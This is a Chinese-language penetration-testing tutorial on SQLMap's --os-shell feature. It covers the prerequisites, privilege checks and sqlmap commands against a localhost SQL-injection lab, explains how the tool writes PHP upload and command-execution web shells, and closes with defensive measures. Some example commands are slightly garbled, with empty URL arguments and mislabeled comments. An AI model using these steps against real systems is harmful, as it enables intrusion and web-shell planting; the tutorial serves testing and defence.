【SQLMap】获取 Shell
SQLMap的--os-shell
功能允许渗透测试人员在成功利用SQL注入漏洞后获取目标系统的交互式命令行shell,这是SQLMap最强大的功能之一。
前提条件
使用--os-shell
需要满足以下四个关键条件:
-
数据库权限:网站数据库账户必须是root或具有高级权限
-
路径知识:攻击者需要知道网站的绝对路径
-
GPC设置:PHP的GPC(Get/Post/Cookie)主动转义功能必须关闭
-
文件权限:MySQL的
secure_file_priv
参数必须无限制或设置适当
权限验证
在执行--os-shell
前,应先验证当前数据库用户权限:
sqlmap -r C:\Users\emma\OneDrive\桌面\1.txt --is-dba # 检查是否为DBA权限,看是否为管理员,若不是,则无法使用--os-shell命令。true是管理员,不是管理员
>sqlmap.py -u http://localhost/sql/less-2/?id=1 --os-shell -level 3 # 查看所有用户及权限
成功后会写入两个PHP文件:文件上传接口页面(如tmpumjti.php
);命令执行脚本(如tmpubpwk.php
)
能看到生成了一个1.txt文件,浏览器可以访问(代表可以写入木马文件等)
输入echo "<?php phpinfo();?>" >>1.php,继续访问网址
技术原理
SQLMap通过以下机制实现OS Shell功能:
-
文件写入:利用数据库的文件写入功能
-
Web Shell创建:上传两个专门的PHP文件:
-
一个提供文件上传功能
-
一个提供命令执行功能
-
-
交互通道:通过HTTP协议建立伪终端,将系统命令执行结果返回给SQLMap客户端
示例
# 基本使用
http://localhost/sql/less-2/1.php
sqlmap.py -u "" --os-shell
# 使用请求文件
sqlmap.py -r request.txt --os-shell
# 指定自定义参数
http://localhost/sql/less-2/1.php
sqlmap.py -u "" --data="id=1" --os-shell
防御措施
-
最小权限原则:数据库用户不应具有FILE权限或超级用户权限
-
安全配置:确保
secure_file_priv
正确设置 -
输入验证:对所有用户输入进行严格过滤和验证
-
错误处理:避免显示详细错误信息泄露路径信息